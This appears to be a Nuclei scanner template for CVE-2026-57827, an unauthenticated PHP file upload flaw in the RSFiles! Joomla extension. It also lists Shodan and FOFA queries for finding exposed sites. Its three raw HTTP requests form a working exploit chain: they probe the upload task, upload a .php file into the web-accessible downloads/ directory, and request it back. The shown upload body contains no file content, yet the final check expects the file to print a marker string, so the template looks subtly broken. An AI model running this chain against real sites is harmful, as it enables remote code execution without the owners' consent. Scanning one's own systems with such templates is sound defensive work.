id: CVE-2026-57827 info: name: RSFiles! for Joomla - Arbitrary File Upload author: omarkurt severity: critical description: | RSFiles! (com_rsfiles) for Joomla < 1.17.12 allows unauthenticated arbitrary file upload via the rsfiles.upload task. The write method performs no authentication, CSRF token, or file extension checks, allowing upload of executable PHP files to the web-accessible downloads/ directory. impact: | Unauthenticated remote code execution via PHP webshell upload. remediation: | Update RSFiles! to version 1.17.12 or later. reference: - https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/ - https://vulnerabletarget.com/VT-2026-57827 - https://www.rsjoomla.com/blog/view/644-unauthenticated-file-upload-fixed-in-rsfiles-version-11712-update-now.html - https://nvd.nist.gov/vuln/detail/CVE-2026-57827 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-57827 epss-score: 0.02328 epss-percentile: 0.82494 cwe-id: CWE-434 metadata: verified: true max-request: 3 vendor: rsjoomla product: rsfiles framework: joomla shodan-query: http.html:"com_rsfiles" fofa-query: body="com_rsfiles" tags: cve,cve2026,joomla,rsjoomla,rsfiles,file-upload,rce,intrusive variables: marker: "{{to_lower(rand_text_alpha(8))}}" flow: http(1) && http(2) && http(3) http: - raw: - | POST /index.php?option=com_rsfiles&task=rsfiles.checkupload HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "\"status\":\"ok\"")' condition: and internal: true - raw: - | POST /index.php?option=com_rsfiles&task=rsfiles.upload HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----RSFilesBoundary57827 ------RSFilesBoundary57827 Content-Disposition: form-data; name="file"; filename="{{marker}}.php" Content-Type: application/x-php ------RSFilesBoundary57827-- matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "\"status\":\"success\"")' condition: and internal: true - raw: - | GET /downloads/{{marker}}.php HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - "contains(body, 'VT-2026-57827-{{marker}}')" condition: and # digest: 4a0a00473045022056777623269f8a07ad2a4d991110d68d53caedd0dad369cc2028f658e1a1aa360221008146723289e020d1e1c73fe511e778512144004b174e92f3e0ced19e3619dd25:922c64590222798bb761d5b6d8e72950